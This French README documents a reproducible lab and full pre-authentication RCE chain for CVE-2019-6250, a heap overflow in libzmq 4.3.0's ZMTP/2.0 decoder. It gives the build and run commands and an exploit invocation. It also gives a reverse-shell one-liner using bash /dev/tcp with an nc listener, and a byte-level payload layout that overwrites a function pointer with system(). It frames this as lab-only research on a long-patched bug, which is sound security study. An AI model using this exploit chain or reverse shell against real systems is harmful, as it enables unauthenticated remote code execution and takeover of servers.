
Lab RCE de bout en bout avant authentification pour CVE-2019-6250 (libzmq <= 4.3.0, protocole filaire ZMTP/2.0)
Chaîne RCE complète et fonctionnelle + laboratoire reproductible pour CVE-2019-6250, le débordement de tas (heap-buffer-overflow) avant authentification dans v2_decoder_t::size_ready de libzmq. Un dépassement arithmétique de pointeur uint64_t permet à un pair non authentifié d'écraser le pointeur de fonction adjacent msg_t::content_t::ffn sur le chemin réseau ZMTP/2.0, puis de le déclencher via la fermeture de la socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).
Par Nicolas Krassas (@dinosn).
Usage laboratoire exclusivement. Ce kit fournit une libzmq 4.3.0 volontairement vulnérable. N'exposez pas le port 5555 hors du laboratoire. Le bug a été corrigé il y a sept ans dans libzmq 4.3.1 (commit
1a2ed127).
system() — preuve par fichier


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
Vous devriez voir quelque chose comme :
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
La ligne cannot set terminal process group (1355844) confirme que le shell a été lancé par le processus cible libzmq (PID 1355844), et non par un élément que vous avez exécuté localement.
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0) :
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ est le uint64_t big-endian contrôlé par l'attaquant issu de l'en-tête de trame LARGE de ZMTP/2.0. Avec msg_size_ = 0xFFFFFFFFFFFFFFFF, la somme read_pos_ + msg_size_ reboucle modulo 2⁶⁴ et aboutit à une valeur inférieure au membre de droite. Le test de bornes est donc évalué à faux → l'exécution tombe dans le chemin zéro-copie → le message _in_progress partage le tampon de réception. Le décodeur demande alors au noyau 0xFFFFFFFFFFFFFFFF octets supplémentaires à read_pos_, et recv() écrit joyeusement notre charge utile au-delà de la fin du tampon de réception, dans le tableau adjacent content_t[] (alloué dans le même bloc malloc() à decoder_allocators.cpp:88).
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
Nous envoyons 8224 octets de charge utile structurés ainsi :
| décalage de charge utile | octets | ce qui est écrasé |
|---|---|---|
[0:16] | padding | (dans le tampon de réception) |
[16:K] | chaîne de commande + NUL | (dans le tampon de réception — argument de system) |
[K:8183] | padding | (dans le tampon de réception) |
[8183:8191] | read_pos+16 | content_t[0].data (→ commande) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (cible du flux de contrôle) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
Lorsque nous fermons la socket TCP, le ~v2_decoder_t() du serveur appelle _in_progress.close(). Dans msg_t::close :
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage a défini _u.zclmsg.flags = 0, le raccourci OU prend donc immédiatement la branche — refcnt n'est même pas vérifié. Notre ffn écrasé s'exécute.
Pas de ROP, pas de shellcode, pas de fuite d'information : juste une résolution de symbole libc et une chaîne de commande intégrée.
v2_decoder_t avant authentificationEn regardant stream_engine.cpp:707 :
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
Le chemin ZMTP/2.0 instancie v2_decoder_t sans mécanisme. Seul ZAP rejette les connexions 2.0, et ZAP est désactivé par défaut. Dès qu'un pair envoie le greeting ZMTP/2.0 de 12 octets (0xff + 8 zéros + 0x7f + révision 0x01 + type de socket), chaque octet suivant est analysé par v2_decoder_t. Pas d'authentification. Pas de handshake. Pas de machine à états de mécanisme.
Optionnel : compilez avec -fsanitize=address et observez le rapport heap-buffer-overflow :
